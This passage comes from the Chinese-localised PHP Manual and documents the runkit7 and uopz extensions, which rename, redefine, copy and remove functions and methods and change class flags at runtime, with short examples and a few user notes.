  • runkit7_function_copy() - Copy a function to a new function name
  • runkit7_function_redefine() - Replace a function definition with a new implementation
  • runkit7_function_rename() - Change a function's name

User Contributed Notes

There are no user contributed notes for this page.


Change a function's name

  • ? runkit7_function_remove
  • runkit7_import ?
  • PHP Manual
  • runkit7 函数
  • Change a function's name

runkit7_function_rename

(PECL runkit7 >= Unknown)

runkit7_function_rename — Change a function's name

说明

runkit7_function_rename(string $source_name, string $target_name): bool

Note: 默认情况下，仅在用户空间可删除，重命名，或者修改函数。为了覆盖内部函数，必须启用 php.ini 中的 runkit.internal_override 设置。

参数

source_name

Current function name

target_name

New function name

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • runkit7_function_add() - Add a new function, similar to create_function
  • runkit7_function_copy() - Copy a function to a new function name
  • runkit7_function_redefine() - Replace a function definition with a new implementation
  • runkit7_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.


Process a PHP file importing function and class definitions, overwriting where appropriate

  • ? runkit7_function_rename
  • runkit7_method_add ?
  • PHP Manual
  • runkit7 函数
  • Process a PHP file importing function and class definitions, overwriting where appropriate

runkit7_import

(PECL runkit7 >= Unknown)

runkit7_import — Process a PHP file importing function and class definitions, overwriting where appropriate

Warning

This feature has been removed in PECL runkit7 4.0.0.

说明

runkit7_import(string $filename, int $flags = ?): bool

Similar to include. However, any code residing outside of a function or class is simply ignored. Additionally, depending on the value of flags, any functions or classes which already exist in the currently running environment may be automatically overwritten by their new definitions.

参数

filename

Filename to import function and class definitions from

flags

Bitwise OR of the RUNKIT7_IMPORT_* family of constants.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Dynamically adds a new method to a given class

  • ? runkit7_import
  • runkit7_method_copy ?
  • PHP Manual
  • runkit7 函数
  • Dynamically adds a new method to a given class

runkit7_method_add

(PECL runkit7 >= Unknown)

runkit7_method_add — Dynamically adds a new method to a given class

说明

runkit7_method_add(
string $class_name,
string $method_name,
string $argument_list,
string $code,
int $flags = RUNKIT7_ACC_PUBLIC,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool
runkit7_method_add(
string $class_name,
string $method_name,
Closure $closure,
int $flags = RUNKIT7_ACC_PUBLIC,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool

参数

class_name

The class to which this method will be added

method_name

The name of the method to add

argument_list

Comma-delimited list of arguments for the newly-created method

code

The code to be evaluated when method_name is called

closure

A closure that defines the method.

flags

The type of method to create, can be RUNKIT7_ACC_PUBLIC, RUNKIT7_ACC_PROTECTED or RUNKIT7_ACC_PRIVATE optionally combined via bitwise OR with RUNKIT7_ACC_STATIC

doc_comment

The doc comment of the method.

return_type

The return type of the method.

is_strict

Whether the method behaves as if it were declared in a file with strict_types=1

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 runkit7_method_add() example

<?php
class Example {
function foo() {
echo "foo!\n";
}
}

// create an Example object
$e = new Example();

// Add a new public method
runkit7_method_add(
'Example',
'add',
'$num1, $num2',
'return $num1 + $num2;',
RUNKIT7_ACC_PUBLIC
);

// add 12 + 4
echo $e->add(12, 4);
?>

以上示例会输出：

16

参见

  • runkit7_method_copy() - Copies a method from class to another
  • runkit7_method_redefine() - Dynamically changes the code of the given method
  • runkit7_method_remove() - Dynamically removes the given method
  • runkit7_method_rename() - Dynamically changes the name of the given method
  • runkit7_function_add() - Add a new function, similar to create_function

User Contributed Notes

There are no user contributed notes for this page.


Copies a method from class to another

  • ? runkit7_method_add
  • runkit7_method_redefine ?
  • PHP Manual
  • runkit7 函数
  • Copies a method from class to another

runkit7_method_copy

(PECL runkit7 >= Unknown)

runkit7_method_copy — Copies a method from class to another

说明

runkit7_method_copy(
string $destination_class,
string $destination_method_name,
string $source_class,
string $source_method_name = ?
): bool

参数

destination_class

Destination class for copied method

destination_method_name

Destination method name

source_class

Source class of the method to copy

source_method_name

Name of the method to copy from the source class. If this parameter is omitted, the value of destination_method_name is assumed.

返回值

示例

Example #1 runkit7_method_copy() example

<?php
class Foo {
function example() {
return "foo!\n";
}
}

class Bar {
// initially, no methods
}

// copy the example() method from the Foo class to the Bar class, as baz()
runkit7_method_copy('Bar', 'baz', 'Foo', 'example');

// output copied function
echo Bar::baz();
?>

以上示例会输出：

foo!

参见

  • runkit7_method_add() - Dynamically adds a new method to a given class
  • runkit7_method_redefine() - Dynamically changes the code of the given method
  • runkit7_method_remove() - Dynamically removes the given method
  • runkit7_method_rename() - Dynamically changes the name of the given method
  • runkit7_function_copy() - Copy a function to a new function name

User Contributed Notes

There are no user contributed notes for this page.


Dynamically changes the code of the given method

  • ? runkit7_method_copy
  • runkit7_method_remove ?
  • PHP Manual
  • runkit7 函数
  • Dynamically changes the code of the given method

runkit7_method_redefine

(PECL runkit7 >= Unknown)

runkit7_method_redefine — Dynamically changes the code of the given method

说明

runkit7_method_redefine(
string $class_name,
string $method_name,
string $argument_list,
string $code,
int $flags = RUNKIT7_ACC_PUBLIC,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool
runkit7_method_redefine(
string $class_name,
string $method_name,
Closure $closure,
int $flags = RUNKIT7_ACC_PUBLIC,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool

参数

class_name

The class in which to redefine the method

method_name

The name of the method to redefine

argument_list

Comma-delimited list of arguments for the redefined method

code

The new code to be evaluated when method_name is called

closure

A closure that defines the method.

flags

The redefined method can be RUNKIT7_ACC_PUBLIC, RUNKIT7_ACC_PROTECTED or RUNKIT7_ACC_PRIVATE optionally combined via bitwise OR with RUNKIT7_ACC_STATIC

doc_comment

The doc comment of the method.

return_type

The return type of the method.

is_strict

Whether the method behaves as if it was declared in a file with strict_types=1.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 runkit7_method_redefine() example

<?php
class Example {
function foo() {
return "foo!\n";
}
}

// create an Example object
$e = new Example();

// output Example::foo() (before redefine)
echo "Before: " . $e->foo();

// Redefine the 'foo' method
runkit7_method_redefine(
'Example',
'foo',
'',
'return "bar!\n";',
RUNKIT7_ACC_PUBLIC
);

// output Example::foo() (after redefine)
echo "After: " . $e->foo();
?>

以上示例会输出：

Before: foo!
After: bar!

参见

  • runkit7_method_add() - Dynamically adds a new method to a given class
  • runkit7_method_copy() - Copies a method from class to another
  • runkit7_method_remove() - Dynamically removes the given method
  • runkit7_method_rename() - Dynamically changes the name of the given method
  • runkit7_function_redefine() - Replace a function definition with a new implementation

User Contributed Notes

There are no user contributed notes for this page.


Dynamically removes the given method

  • ? runkit7_method_redefine
  • runkit7_method_rename ?
  • PHP Manual
  • runkit7 函数
  • Dynamically removes the given method

runkit7_method_remove

(PECL runkit7 >= Unknown)

runkit7_method_remove — Dynamically removes the given method

说明

runkit7_method_remove(string $class_name, string $method_name): bool

Note: 此函数不能用来操作当前正常运行（或运行链上）的方法。

参数

class_name

The class in which to remove the method

method_name

The name of the method to remove

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 runkit7_method_remove() example

<?php
class Example {
function foo() {
return "foo!\n";
}

function bar() {
return "bar!\n";
}
}

// Remove the 'foo' method
runkit7_method_remove(
'Example',
'foo'
);

echo implode(' ', get_class_methods('Example'));

?>

以上示例会输出：

bar

参见

  • runkit7_method_add() - Dynamically adds a new method to a given class
  • runkit7_method_copy() - Copies a method from class to another
  • runkit7_method_redefine() - Dynamically changes the code of the given method
  • runkit7_method_rename() - Dynamically changes the name of the given method
  • runkit7_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.


Dynamically changes the name of the given method

  • ? runkit7_method_remove
  • runkit7_object_id ?
  • PHP Manual
  • runkit7 函数
  • Dynamically changes the name of the given method

runkit7_method_rename

(PECL runkit7 >= Unknown)

runkit7_method_rename — Dynamically changes the name of the given method

说明

runkit7_method_rename(string $class_name, string $source_method_name, string $target_method_name): bool

Note: 此函数不能用来操作当前正常运行（或运行链上）的方法。

参数

class_name

The class in which to rename the method

source_method_name

The name of the method to rename

target_method_name

The new name to give to the renamed method

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 runkit7_method_rename() example

<?php
class Example {
function foo() {
return "foo!\n";
}
}

// Rename the 'foo' method to 'bar'
runkit7_method_rename(
'Example',
'foo',
'bar'
);

// output renamed function
echo (new Example)->bar();
?>

以上示例会输出：

foo!

参见

  • runkit7_method_add() - Dynamically adds a new method to a given class
  • runkit7_method_copy() - Copies a method from class to another
  • runkit7_method_redefine() - Dynamically changes the code of the given method
  • runkit7_method_remove() - Dynamically removes the given method
  • runkit7_function_rename() - Change a function's name

User Contributed Notes

There are no user contributed notes for this page.


Return the integer object handle for given object

  • ? runkit7_method_rename
  • runkit7_superglobals ?
  • PHP Manual
  • runkit7 函数
  • Return the integer object handle for given object

runkit7_object_id

(PECL runkit7 >= Unknown)

runkit7_object_id — Return the integer object handle for given object

说明

runkit7_object_id(object $obj): int

This function is equivalent to spl_object_id().

This function returns a unique identifier for the object. The object id is unique for the lifetime of the object. Once the object is destroyed, its id may be reused for other objects. This behavior is similar to spl_object_hash().

参数

obj

Any object.

返回值

An integer identifier that is unique for each currently existing object and is always the same for each object.

注释

Note:

When an object is destroyed, its id may be reused for other objects.

参见

  • spl_object_id() - Return the integer object handle for given object

User Contributed Notes

There are no user contributed notes for this page.


Return numerically indexed array of registered superglobals

  • ? runkit7_object_id
  • runkit7_zval_inspect ?
  • PHP Manual
  • runkit7 函数
  • Return numerically indexed array of registered superglobals

runkit7_superglobals

(PECL runkit7 >= Unknown)

runkit7_superglobals — Return numerically indexed array of registered superglobals

说明

runkit7_superglobals(): array

参数

此函数没有参数。

返回值

Returns a numerically indexed array of the currently registered superglobals. i.e. _GET, _POST, _REQUEST, _COOKIE, _SESSION, _SERVER, _ENV, _FILES

参见

  • Variable Scope

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the passed in value with data types, reference counts, etc

  • ? runkit7_superglobals
  • uopz ?
  • PHP Manual
  • runkit7 函数
  • Returns information about the passed in value with data types, reference counts, etc

runkit7_zval_inspect

(PECL runkit7 >= Unknown)

runkit7_zval_inspect — Returns information about the passed in value with data types, reference counts, etc

说明

runkit7_zval_inspect(string $value): array

参数

value

The value to return the representation of

返回值

The array returned by this function contains the following elements:

  • address
  • refcount (optional)
  • is_ref (optional)
  • type

示例

Example #1 runkit7_zval_inspect() example

<?php

$var = new DateTime();
var_dump(runkit7_zval_inspect($var));

$var = 1;
var_dump(runkit7_zval_inspect($var));
?>

以上示例会输出：

array(4) {
  ["address"]=>
  string(14) "0x7f45ab21b1e0"
  ["refcount"]=>
  int(2)
  ["is_ref"]=>
  bool(false)
  ["type"]=>
  int(8)
}

array(2) {
  ["address"]=>
  string(14) "0x7f45ab21b1e0"
  ["type"]=>
  int(4)
}

参见

  • References Explained
  • » References Explained (by Derick Rethans)

User Contributed Notes

There are no user contributed notes for this page.


User Operations for Zend

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Uopz 函数
    • uopz_add_function — Adds non-existent function or method
    • uopz_allow_exit — Allows control over disabled exit opcode
    • uopz_backup — Backup a function
    • uopz_compose — Compose a class
    • uopz_copy — Copy a function
    • uopz_del_function — Deletes previously added function or method
    • uopz_delete — Delete a function
    • uopz_extend — Extend a class at runtime
    • uopz_flags — Get or set flags on function or class
    • uopz_function — Creates a function at runtime
    • uopz_get_exit_status — Retrieve the last set exit status
    • uopz_get_hook — Gets previously set hook on function or method
    • uopz_get_mock — Get the current mock for a class
    • uopz_get_property — Gets value of class or instance property
    • uopz_get_return — Gets a previous set return value for a function
    • uopz_get_static — Gets the static variables from function or method scope
    • uopz_implement — Implements an interface at runtime
    • uopz_overload — Overload a VM opcode
    • uopz_redefine — Redefine a constant
    • uopz_rename — Rename a function at runtime
    • uopz_restore — Restore a previously backed up function
    • uopz_set_hook — Sets hook to execute when entering a function or method
    • uopz_set_mock — Use mock instead of class for new objects
    • uopz_set_property — Sets value of existing class or instance property
    • uopz_set_return — Provide a return value for an existing function
    • uopz_set_static — Sets the static variables in function or method scope
    • uopz_undefine — Undefine a constant
    • uopz_unset_hook — Removes previously set hook on function or method
    • uopz_unset_mock — Unset previously set mock
    • uopz_unset_return — Unsets a previously set return value for a function

User Contributed Notes

There are no user contributed notes for this page.


简介

The uopz - User Operations for Zend - extension exposes Zend Engine functionality normally used at compilation and execution time in order to allow modification of the internal structures that represent PHP code, and for user code to interact with the VM.

uopz supports the following activities:

  • Overloading some opcodes including ZEND_EXIT and ZEND_NEW
  • Backup and restore functions and methods
  • Renaming functions and methods
  • Copying of functions and methods
  • Deletion of functions and methods
  • Redefinition of global and class constants
  • Deletion of global and class constants
  • Runtime composition and modification of classes

Note:

All of the activities supported are compatible with opcache

Caution

PECL uopz 6.1.1 is not compatible with Xdebug >= 2.9.4. Later uopz versions are not compatible with Xdebug < 2.9.4.

User Contributed Notes

There are no user contributed notes for this page.


需求

As of uopz 5.0 PHP 7.0 is required. As of uopz 5.1, PHP 7.1+ is required.

User Contributed Notes

There are no user contributed notes for this page.


安装

uopz releases are hosted by PECL and the source code by » github, the easiest route to installation is the normal PECL route: » https://pecl.php.net/package/uopz.

Windows users can download prebuilt release binaries from the » PECL website.

As of uopz 5.0.0 the extension must be loaded as extension. Before this version it must be loaded as zend_extension.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

uopz 配置选项
名字 | 默认 | 可修改范围 | 更新日志
uopz.disable | "0" | PHP_INI_SYSTEM | Available as of uopz 5.0.2
uopz.exit | "0" | PHP_INI_SYSTEM | Available as of uopz 6.0.1
uopz.overloads | "1" | PHP_INI_SYSTEM | Available as of uopz 2.0.2. Removed as of uopz 5.0.0.
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

uopz.disable bool

If enabled, uopz should stop having any effect on the engine.

uopz.exit bool

Whether to allow the execution of exit opcodes or not. This setting can be overridden during runtime by calling uopz_allow_exit().

uopz.overloads bool

Enables the ability to use uopz_overload().

Note: When running with OPcache enabled, it may be necessary to disable all OPcache optimizations (opcache.optimization_level=0).

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

The following opcodes are defined as constants by uopz before 5.0.0:

ZEND_EXIT (int)
Invoked by exit() and die(), receives no arguments. Return boolean true to exit, false to continue
ZEND_NEW (int)
Invoked by object construction, receives the class of object being created as the only argument
ZEND_THROW (int)
Invoked by the throw construct, receives the class of exception being thrown as the only argument
ZEND_FETCH_CLASS (int)
Invoked upon composure, receives the class the name of the class being fetched as the only argument
ZEND_ADD_TRAIT (int)
Invoked upon composure, receives the class the trait is being added to as the first argument, and the name of the trait as the second argument
ZEND_ADD_INTERFACE (int)
Invoked upon composure, receives the class the interface is being added to as the first argument, and the name of the interface as the second argument
ZEND_INSTANCEOF (int)
Invoked by instanceof operator, receives the object being verified as the first argument, and the name of the class which that object should be as the second argument

The following constants control the VM's behaviour after a user handler is invoked, be extremely careful! These constants are removed as of uopz 5.0.0.

ZEND_USER_OPCODE_CONTINUE (int)
Advance 1 opcode and continuue
ZEND_USER_OPCODE_ENTER (int)
Enter into new op_array without recursion
ZEND_USER_OPCODE_LEAVE (int)
Return to calling op_array within the same executor
ZEND_USER_OPCODE_DISPATCH (int)
Dispatch to original opcode handler
ZEND_USER_OPCODE_DISPATCH_TO (int)
Dispatch to a specific handler (OR'd with ZEND opcode constant)
ZEND_USER_OPCODE_RETURN (int)
Exit from executor (return from function)

The following modifiers are registered as constants by uopz

ZEND_ACC_PUBLIC (int)
Mark function as public, the default
ZEND_ACC_PROTECTED (int)
Mark function as protected
ZEND_ACC_PRIVATE (int)
Mark function as private
ZEND_ACC_STATIC (int)
Mark function as static
ZEND_ACC_FINAL (int)
Mark function as final
ZEND_ACC_ABSTRACT (int)
Mark function as abstract
ZEND_ACC_CLASS (int)
Dummy registered for consistency, the default kind of class entry. Removed as of uopz 5.0.0.
ZEND_ACC_INTERFACE (int)
Mark class as interface. Removed as of uopz 5.0.0.
ZEND_ACC_TRAIT (int)
Mark class as trait. Removed as of uopz 5.0.0.
ZEND_ACC_FETCH (int)
Used for getting flags only. Removed as of uopz 5.0.0.

User Contributed Notes

ASchmidt at Anamera dot net 20-Mar-2018 03:37
At least with uops 5.02 and PHP 7.2 (Win64), the constant ZEND_ACC_FETCH is not defined - while others are.

You can use:

if ( !defined( 'ZEND_ACC_FETCH' ) )
    define( 'ZEND_ACC_FETCH', PHP_INT_MAX );


Uopz 函数

Table of Contents

  • uopz_add_function — Adds non-existent function or method
  • uopz_allow_exit — Allows control over disabled exit opcode
  • uopz_backup — Backup a function
  • uopz_compose — Compose a class
  • uopz_copy — Copy a function
  • uopz_del_function — Deletes previously added function or method
  • uopz_delete — Delete a function
  • uopz_extend — Extend a class at runtime
  • uopz_flags — Get or set flags on function or class
  • uopz_function — Creates a function at runtime
  • uopz_get_exit_status — Retrieve the last set exit status
  • uopz_get_hook — Gets previously set hook on function or method
  • uopz_get_mock — Get the current mock for a class
  • uopz_get_property — Gets value of class or instance property
  • uopz_get_return — Gets a previous set return value for a function
  • uopz_get_static — Gets the static variables from function or method scope
  • uopz_implement — Implements an interface at runtime
  • uopz_overload — Overload a VM opcode
  • uopz_redefine — Redefine a constant
  • uopz_rename — Rename a function at runtime
  • uopz_restore — Restore a previously backed up function
  • uopz_set_hook — Sets hook to execute when entering a function or method
  • uopz_set_mock — Use mock instead of class for new objects
  • uopz_set_property — Sets value of existing class or instance property
  • uopz_set_return — Provide a return value for an existing function
  • uopz_set_static — Sets the static variables in function or method scope
  • uopz_undefine — Undefine a constant
  • uopz_unset_hook — Removes previously set hook on function or method
  • uopz_unset_mock — Unset previously set mock
  • uopz_unset_return — Unsets a previously set return value for a function

User Contributed Notes

There are no user contributed notes for this page.


Adds non-existent function or method

  • ? Uopz 函数
  • uopz_allow_exit ?
  • PHP Manual
  • Uopz 函数
  • Adds non-existent function or method

uopz_add_function

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_add_function — Adds non-existent function or method

说明

uopz_add_function(string $function, Closure $handler, int &$flags = ZEND_ACC_PUBLIC): bool
uopz_add_function(
string $class,
string $function,
Closure $handler,
int &$flags = ZEND_ACC_PUBLIC,
int &$all = true
): bool

Adds a non-existent function or method.

参数

class

The name of the class.

function

The name of the function or method.

handler

The Closure that defines the new function or method.

flags

Flags to set for the new function or method.

all

Whether all classes that descend from class will also be affected.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

uopz_add_function() throws a RuntimeException if the function or method to add already exists.

示例

Example #1 Basic uopz_add_function() Usage

<?php
uopz_add_function('foo', function () {echo 'bar';});
foo();
?>

以上示例会输出：

bar

参见

  • uopz_del_function() - Deletes previously added function or method
  • uopz_set_return() - Provide a return value for an existing function

User Contributed Notes

There are no user contributed notes for this page.


Allows control over disabled exit opcode

  • ? uopz_add_function
  • uopz_backup ?
  • PHP Manual
  • Uopz 函数
  • Allows control over disabled exit opcode

uopz_allow_exit

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_allow_exit — Allows control over disabled exit opcode

说明

uopz_allow_exit(bool $allow): void

By default uopz disables the exit opcode, so exit() calls are practically ignored. uopz_allow_exit() allows to control this behavior.

参数

allow

Whether to allow the execution of exit opcodes or not.

返回值

没有返回值。

示例

Example #1 uopz_allow_exit() example

<?php
exit(1);
echo 1;
uopz_allow_exit(true);
exit(2);
echo 2;
?>

以上示例会输出：

1

注释

Caution

OPcache optimizes away dead code after unconditional exit.

参见

  • uopz_get_exit_status() - Retrieve the last set exit status

User Contributed Notes

There are no user contributed notes for this page.


Backup a function

  • ? uopz_allow_exit
  • uopz_compose ?
  • PHP Manual
  • Uopz 函数
  • Backup a function

uopz_backup

(PECL uopz 1 >= 1.0.3, PECL uopz 2)

uopz_backup — Backup a function

Warning

This function has been REMOVED in PECL uopz 5.0.0.

说明

uopz_backup(string $function): void
uopz_backup(string $class, string $function): void

Backup a function at runtime, to be restored on shutdown

参数

class

The name of the class containing the function to backup

function

The name of the function

返回值

示例

Example #1 uopz_backup() example

<?php
uopz_backup("fgets");
uopz_function("fgets", function(){
return true;
});
var_dump(fgets());
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Compose a class

  • ? uopz_backup
  • uopz_copy ?
  • PHP Manual
  • Uopz 函数
  • Compose a class

uopz_compose

(PECL uopz 1, PECL uopz 2)

uopz_compose — Compose a class

Warning

This function has been REMOVED in PECL uopz 5.0.0.

说明

uopz_compose(
string $name,
array $classes,
array $methods = ?,
array $properties = ?,
int $flags = ?
): void

Creates a new class of the given name that implements, extends, or uses all of the provided classes

参数

name

A legal class name

classes

An array of class, interface and trait names

methods

An associative array of methods, values are either closures or [modifiers => closure]

properties

An associative array of properties, keys are names, values are modifiers

flags

Entry type, by default ZEND_ACC_CLASS

返回值

示例

Example #1 uopz_compose() example

<?php
class myClass {}
trait myTrait {}
interface myInterface {}

uopz_compose(
Composed::class, [
myClass::class,
myTrait::class,
myInterface::class
], [
"__construct" => function() {
/* ... */
}
]);

var_dump(
class_uses(Composed::class),
class_parents(Composed::class),
class_implements(Composed::class));
?>

以上示例会输出：

array(1) {
  ["myTrait"]=>
  string(7) "myTrait"
}
array(1) {
  ["myClass"]=>
  string(7) "myClass"
}
array(1) {
  ["myInterface"]=>
  string(11) "myInterface"
}

User Contributed Notes

There are no user contributed notes for this page.


Copy a function

  • ? uopz_compose
  • uopz_del_function ?
  • PHP Manual
  • Uopz 函数
  • Copy a function

uopz_copy

(PECL uopz 1 >= 1.0.4, PECL uopz 2)

uopz_copy — Copy a function

Warning

This function has been REMOVED in PECL uopz 5.0.0.

说明

uopz_copy(string $function): Closure
uopz_copy(string $class, string $function): Closure

Copy a function by name

参数

class

The name of the class containing the function to copy

function

The name of the function

返回值

A Closure for the specified function

示例

Example #1 uopz_copy() example

<?php
$strtotime = uopz_copy('strtotime');

uopz_function("strtotime", function($arg1, $arg2) use($strtotime) {
/* can call original strtotime from here */
var_dump($arg1);
});

var_dump(strtotime('dummy'));
?>

以上示例会输出：

string(5) "dummy"

User Contributed Notes

There are no user contributed notes for this page.


Deletes previously added function or method

  • ? uopz_copy
  • uopz_delete ?
  • PHP Manual
  • Uopz 函数
  • Deletes previously added function or method

uopz_del_function

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_del_function — Deletes previously added function or method

说明

uopz_del_function(string $function): bool
uopz_del_function(string $class, string $function, int &$all = true): bool

Deletes a previously added function or method.

参数

class

The name of the class.

function

The name of the function or method.

all

Whether all classes that descend from class will also be affected.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

uopz_del_function() throws a RuntimeException if the function or method to delete has not been added by uopz_add_function().

示例

Example #1 Basic uopz_del_function() Usage

<?php
uopz_add_function('foo', function () {echo 'bar';});
var_dump(function_exists('foo'));
uopz_del_function('foo');
var_dump(function_exists('foo'));
?>

以上示例会输出：

bool(true)
bool(false)

参见

  • uopz_add_function() - Adds non-existent function or method
  • uopz_unset_return() - Unsets a previously set return value for a function

User Contributed Notes

There are no user contributed notes for this page.


Delete a function

  • ? uopz_del_function
  • uopz_extend ?
  • PHP Manual
  • Uopz 函数
  • Delete a function

uopz_delete

(PECL uopz 1, PECL uopz 2)

uopz_delete — Delete a function

Warning

This function has been REMOVED in PECL uopz 5.0.0.

说明

uopz_delete(string $function): void
uopz_delete(string $class, string $function): void

Deletes a function or method

参数

class

function

返回值

示例

Example #1 uopz_delete() example

<?php
uopz_delete("strlen");

echo strlen("Hello World");
?>

以上示例的输出类似于：

PHP Fatal error: Call to undefined function strlen() in /path/to/script.php on line 4

Example #2 uopz_delete() class example

<?php
class My {
public static function strlen($arg) {
return strlen($arg);
}
}

uopz_delete(My::class, "strlen");

echo My::strlen("Hello World");
?>

以上示例的输出类似于：

PHP Fatal error: Call to undefined method My::strlen() in /path/to/script.php on line 10

User Contributed Notes

There are no user contributed notes for this page.


Extend a class at runtime

  • ? uopz_delete
  • uopz_flags ?
  • PHP Manual
  • Uopz 函数
  • Extend a class at runtime

uopz_extend

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6, PECL uopz 7 < 7.1.0)

uopz_extend — Extend a class at runtime

说明

uopz_extend(string $class, string $parent): bool

Makes class extend parent

参数

class

The name of the class to extend

parent

The name of the class to inherit

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

As of PHP 7.4.0, uopz_extends() throws a RuntimeException, if OPcache is enabled, and the class entry of either class or parent (if it is a trait) is immutable.

示例

Example #1 uopz_extend() example

<?php
class A {}
class B {}

uopz_extend(A::class, B::class);

var_dump(class_parents(A::class));
?>

以上示例会输出：

array(1) {
  ["B"]=>
  string(1) "B"
}

User Contributed Notes

There are no user contributed notes for this page.


Get or set flags on function or class

  • ? uopz_extend
  • uopz_function ?
  • PHP Manual
  • Uopz 函数
  • Get or set flags on function or class

uopz_flags

(PECL uopz 2 >= 2.0.2, PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_flags — Get or set flags on function or class

说明

uopz_flags(string $function, int $flags = PHP_INT_MAX): int
uopz_flags(string $class, string $function, int $flags = PHP_INT_MAX): int

Get or set the flags on a class or function entry at runtime

参数

class

The name of a class

function

The name of the function. If class is given and an empty string is passed as function, uopz_flags() gets or sets the flags of the class entry.

flags

A valid set of ZEND_ACC_ flags. If omitted, uopz_flags() acts as getter.

返回值

If setting, returns old flags, else returns flags

错误／异常

As of PHP 7.4.0, if the parameter flags is passed, uopz_flags() throws a RuntimeException, if OPcache is enabled, and the class entry of class or the function entry of function is immutable.

更新日志

版本 | 说明
PECL uopz 5.0.0 | The flags parameter is now optional. Formerly, ZEND_ACC_FETCH had to be passed to use uopz_flags() as getter.

示例

Example #1 uopz_flags() example

<?php
class Test {
public function method() {
return __CLASS__;
}
}

$flags = uopz_flags("Test", "method");

var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_PRIVATE));
var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_STATIC));

var_dump(uopz_flags("Test", "method", $flags|ZEND_ACC_STATIC|ZEND_ACC_PRIVATE));

var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_PRIVATE));
var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_STATIC));
?>

以上示例会输出：

bool(false)
bool(false)
int(1234567890)
bool(true)
bool(true)

Example #2 "Unfinalize" a Class

<?php
final class MyClass
{
}

$flags = uopz_flags(MyClass::class, '');
uopz_flags(MyClass::class, '', $flags & ~ZEND_ACC_FINAL);
var_dump((new ReflectionClass(MyClass::class))->isFinal());
?>

以上示例会输出：

bool(false)

User Contributed Notes

ASchmidt at Anamera dot net 05-Dec-2020 06:37
To clarify the above hint:
"...the class entry of class or the function entry of function is immutable"

Neither PHP class or function definitions have any "immutable" keyword - so this note is confusing, as it implies that a PHP programmer has any control over this. In reality, the "immutable" state mentioned is an internally-controlled optimization/shared memory feature of OPcache.

Consequently, if one has a need to set (alter) the flags of a PHP class or function by means of "uopz_flags()", then it is necessary to EXCLUDE the PHP script of the referenced class or function from OPcache, using the "opcache.blacklist_filename" INI parameter.
ASchmidt at Anamera dot net 19-Jul-2018 04:44
If the method name is set to an empty string, then the flags for the CLASS itself will be affected, instead of an individual method. This can be used to remove the "final" attribute from a class.
<?php
declare(strict_types=1);

final class MyClass { function mymethod() {} };
uopz_flags(MyClass::class, '', 0);
?>

Note: Although not documented, setting the method to NULL will also target the CLASS flags, however, that syntax will clash with strict types because of the developer's improper function signature.


Creates a function at runtime

  • ? uopz_flags
  • uopz_get_exit_status ?
  • PHP Manual
  • Uopz 函数
  • Creates a function at runtime

uopz_function

(PECL uopz 1, PECL uopz 2)

uopz_function — Creates a function at runtime

Warning

This function has been REMOVED in PECL uopz 5.0.0.

说明

uopz_function(string $function, Closure $handler, int $modifiers = ?): void
uopz_function(
string $class,
string $function,
Closure $handler,
int $modifiers = ?
): void

Creates a function at runtime

参数

class

The name of the class to receive the new function

function

The name of the function

handler

The Closure for the function

modifiers

The modifiers for the function, by default copied or ZEND_ACC_PUBLIC

返回值

示例

Example #1 uopz_function() example

<?php
uopz_function("my_strlen", function($arg) {
return strlen($arg);
});
echo my_strlen("Hello World");
?>

以上示例会输出：

11

Example #2 uopz_function() class example

<?php
class My {}

uopz_function(My::class, "strlen", function($arg) {
return strlen($arg);
}, ZEND_ACC_STATIC);

echo My::strlen("Hello World");
?>

以上示例会输出：

11

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the last set exit status

  • ? uopz_function
  • uopz_get_hook ?
  • PHP Manual
  • Uopz 函数
  • Retrieve the last set exit status

uopz_get_exit_status

(PECL uopz 5, PECL uopz , PECL uopz 7)

uopz_get_exit_status — Retrieve the last set exit status

说明

uopz_get_exit_status(): mixed

Retrieves the last set exit status, i.e. the value passed to exit().

参数

此函数没有参数。

返回值

This function returns the last exit status, or null if exit() has not been called.

示例

Example #1 uopz_get_exit_status() example

<?php
exit(123);
echo uopz_get_exit_status();?>

以上示例会输出：

123

注释

Caution

OPcache optimizes away dead code after unconditional exit.

参见

  • uopz_allow_exit() - Allows control over disabled exit opcode

User Contributed Notes

There are no user contributed notes for this page.


Gets previously set hook on function or method

  • ? uopz_get_exit_status
  • uopz_get_mock ?
  • PHP Manual
  • Uopz 函数
  • Gets previously set hook on function or method

uopz_get_hook

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_hook — Gets previously set hook on function or method

说明

uopz_get_hook(string $function): Closure
uopz_get_hook(string $class, string $function): Closure

Gets the previously set hook on a function or method.

参数

class

